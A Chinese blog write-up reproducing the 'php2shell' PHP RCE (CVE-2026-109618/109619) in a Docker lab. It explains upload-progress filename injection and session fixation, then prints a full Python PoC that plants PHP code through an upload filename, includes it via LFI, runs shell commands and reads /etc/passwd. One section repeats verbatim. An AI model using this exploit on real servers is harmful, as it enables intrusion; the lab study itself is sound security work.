php2shell复现
就在昨天,三名印籍俄裔黑客安东·尤丁采夫、尼基塔·布亚诺夫、维亚切斯拉夫·巴兰尼科夫发布两个php的rce漏洞,8个nodejs漏洞,还有用一个字符串作为中间证书的私钥,造成严重的ca泄露引发go rust等语言的安全问题,安全圈引发剧烈地震

| 项目 |
内容 |
| 漏洞名 |
php2shell |
| CVE |
CVE-2026-109618、CVE-2026-109619 |
| 类型 |
无需认证(pre-auth)的远程代码执行(RCE) |
| 评分 |
CVSS 4.0 9.2(严重) |
| 影响版本 |
PHP 5.4.0 ~ 8.5.11 |
| 修复版本 |
8.2.35 / 8.3.36 / 8.4.27 / 8.5.12(2026-10-21 发布) |
| 根因位置 |
PHP 核心的 session.upload_progress 处理器 |
在github上找到一个这两个漏洞的复现靶场
kuwoo/php2shell-Lab: 🐘 php2shell(CVE-2026-109618 / CVE-2026-109619)复现靶场 — session.upload_progress 文件名注入 + LFI → RCE,Docker 一键启动,附中文原理分析与 PoC
克劳德大人的恩情还不完
1 2
| git clone https://github.com/kuwoo/php2shell-Lab.git cd php2shell-Lab
|
1 2 3 4 5 6 7 8
| docker compose up -d --build
python poc.py --target http://localhost:8082
python poc.py --target http://localhost:8082 --cmd "id"
|

ohhhh,怎么直接实现了,我好像什么都没有做
前置知识
PHP 会话是怎么存文件的
PHP 默用文件保存会话。假设会话 ID 是 abc123,默认配置下会话数据存在:
1
| /tmp/sessions/sess_abc123
|
文件内容是 键名|序列化数据,例如:
1
| login_user|s:5:"admin";csrf_token|s:32:"...";
|
关键点:这个文件是普通文本文件。只要你知道会话 ID,就能拼出它的完整路径。
session.upload_progress 是干嘛的
从 PHP 5.4 开始,PHP 内置了「上传进度」功能(默认开启):
- 当收到一个 multipart 表单上传时,PHP 会在会话里记录上传进度;
- 前端可以轮询这个进度来显示进度条。
它往会话里写的数据长这样(简化):
1 2 3 4
| upload_progress_<名字>|a:5:{ start_time; content_length; bytes_processed; done; files: [ { field_name, name, tmp_name, error, ... } ] }
|
其中:
upload_progress_<名字> 里的「名字」来自表单里的 PHP_SESSION_UPLOAD_PROGRESS 字段;
files[].name 就是你上传文件的原始文件名。
漏洞根因
一句话:
PHP 把「上传文件的文件名」当成普通文本,原样写进了会话文件,没有做任何过滤。
而会话文件是 PHP 会去解析执行的普通文本。于是:
- 如果文件名是
shell.php,没事;
- 如果文件名是
<?php system('id'); ?>,这段 PHP 代码就被原样写进了会话文件。
一旦有办法让 PHP 去「执行」这个会话文件(比如应用存在 LFI 并 include 了它),里面的 <?php ... ?> 就会被当成 PHP 代码执行 → 远程代码执行。
这解释了为什么叫 php2shell:把 php 会话文件变成一个 shell。
正常情况下 PHP 只从 Cookie 里取会话 ID(session.use_only_cookies=1,这是默认且是安全配置)。攻击者没法给受害者设 Cookie,似乎就固定不了会话 ID。
但 php2shell 的一个关键点是:session.upload_progress 处理器会接受 POST body 里直接传的 PHPSESSID,从而绕过 use_only_cookies。
效果就是会话固定(session fixation):
- 攻击者在请求 body 里写
PHPSESSID=abc123;
- PHP 用
abc123 作为会话 ID 写进度;
- 攻击者提前知道会话文件路径就是
/tmp/sessions/sess_abc123;
- 于是可以直接用 LFI 去包含它。
poc.py 里为了稳妥,body 和 Cookie 都带了同一个 PHPSESSID(双保险)。
关键细节一:PHPSESSID 绕过 use_only_cookie
正常情况下 PHP 只从 Cookie 里取会话 ID(session.use_only_cookies=1,这是默认且是安全配置)。攻击者没法给受害者设 Cookie,似乎就固定不了会话 ID。
但 php2shell 的一个关键点是:session.upload_progress 处理器会接受 POST body 里直接传的 PHPSESSID,从而绕过 use_only_cookies。
效果就是会话固定(session fixation):
- 攻击者在请求 body 里写
PHPSESSID=abc123;
- PHP 用
abc123 作为会话 ID 写进度;
- 攻击者提前知道会话文件路径就是
/tmp/sessions/sess_abc123;
- 于是可以直接用 LFI 去包含它。
poc.py 里为了稳妥,body 和 Cookie 都带了同一个 PHPSESSID(双保险)。
关键细节二:cleanup 与竞态窗口
session.upload_progress.cleanup 控制「上传结束后要不要清掉进度数据」:
- 默认
cleanup=On:上传一结束,PHP 就把 upload_progress_* 这段从会话里删掉。也就是说注入是转瞬即逝的。
- 真实攻击者怎么应对?打竞态:传一个很大的文件(上传慢),在文件还在上传、进度数据还没被清理的窗口里,用并发请求去包含会话文件。
本靶场为了让你每次都能确定性成功,把 cleanup 设成了 Off(见 php.ini),这样注入会一直留在会话文件里,不用打竞态。原理和真实攻击完全一致,只是把「需要竞争」简化成了「必然命中」。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
|
""" Chain A 演示:session.upload_progress 文件名注入 + LFI → RCE 对应 CVE-2026-109618 / 109619 的第一条攻击链(参考 ikow/php2shell-poc)。
流程: 1. multipart POST:用 body 里的 PHPSESSID 固定会话 ID(绕过 use_only_cookies), 并在上传文件名里塞 PHP 代码; 2. PHP 的 upload_progress 把文件名原样写进会话文件 /tmp/sessions/sess_<id>; 3. 用目标站的 LFI 包含该会话文件 → 执行注入的 PHP → 命令执行。
端口: 8082 → php2shell(Apache 以 www-data 运行)→ RCE 得到 www-data
用法: python poc.py --target http://localhost:8082 # 默认跑「展示载荷」 python poc.py --target http://localhost:8082 --cmd "id" # 只跑一条自定义命令
说明: - php2shell 本身给的是 web 运行用户(通常是 www-data),不直接给 root; 从 www-data 到 root 需要额外的本地提权,不在本靶场范围(见 docs/原理分析.md)。 - 默认载荷用 PHP_EOL 输出换行,在「终端」里看最清楚; 想在「浏览器」里看换行,把 PHP_EOL 换成 '<br>',或用 <pre> 包住输出(见 docs/操作手册.md)。 - 仅用于本地靶场 / 授权测试。
(English / 英文) Chain A demo: session.upload_progress filename injection + LFI → RCE. CVE-2026-109618 / 109619, first chain (based on ikow/php2shell-poc).
python poc.py --target http://localhost:8082 # showcase payload python poc.py --target http://localhost:8082 --cmd "id" # one custom command
- php2shell gives the web user (usually www-data), not root; going to root needs a separate local privilege escalation (see docs/analysis-en.md). - Local lab / authorized testing only. """ import argparse import random import string import urllib.parse import urllib.request
SHOWCASE_PAYLOAD = ( "<?php " "echo '=== ID ===' . PHP_EOL; echo shell_exec('id'); " "echo '=== WHOAMI ===' . PHP_EOL; echo shell_exec('whoami'); " "echo '=== UNAME ===' . PHP_EOL; echo shell_exec('uname -a'); " "echo '=== PASSWD ===' . PHP_EOL; echo shell_exec('head -5 /etc/passwd'); " "die(); ?>" )
def main(): ap = argparse.ArgumentParser(description="php2shell Chain A 演示") ap.add_argument('--target', default='http://localhost:8082', help='目标服务地址,默认 http://localhost:8082') ap.add_argument('--cmd', default=None, help='自定义命令,例如 "id";不传则跑默认展示载荷') args = ap.parse_args() base = args.target.rstrip('/')
if args.cmd: payload = "<?php echo '===RCE==='; system($_GET['c']); die(); ?>" marker = '===RCE===' else: payload = SHOWCASE_PAYLOAD marker = '=== ID ==='
sid = ''.join(random.choices(string.ascii_lowercase + string.digits, k=26))
b = "----php2shellchain" body = ( f"--{b}\r\n" 'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n' + sid + '\r\n' f"--{b}\r\n" 'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nchainA\r\n' f"--{b}\r\n" 'Content-Disposition: form-data; name="f"; filename="' + payload + '"\r\n' 'Content-Type: text/plain\r\n\r\nZ\r\n' f"--{b}--\r\n" ).encode()
req = urllib.request.Request( base + '/index.php', data=body, headers={ 'Content-Type': f'multipart/form-data; boundary={b}', 'Cookie': f'PHPSESSID={sid}', }, ) with urllib.request.urlopen(req, timeout=10): pass print(f"[1] 已注入,会话文件应为 /tmp/sessions/sess_{sid}")
url = f"{base}/index.php?page=/tmp/sessions/sess_{sid}" if args.cmd: url += f"&c={urllib.parse.quote(args.cmd)}" print(f"[2] LFI 包含并执行: {url}") with urllib.request.urlopen(url, timeout=10) as r: raw = r.read().decode(errors='replace')
print(raw.split(marker, 1)[-1])
if __name__ == '__main__': main()
|
为了让「一键复现」,本靶场做了两处简化(都不改变漏洞本质):
session.upload_progress.cleanup = 0(php.ini)——让注入确定性留存,省去打竞态的并发脚本(见第 6 节)。
- 故意提供一个 LFI 端点(
app/index.php 里的 ?page=... → include)——因为 Chain A 的前提就是应用要有 LFI。
这两点都已在代码和 README 里标注,避免读者误以为「真实环境也这么简单」。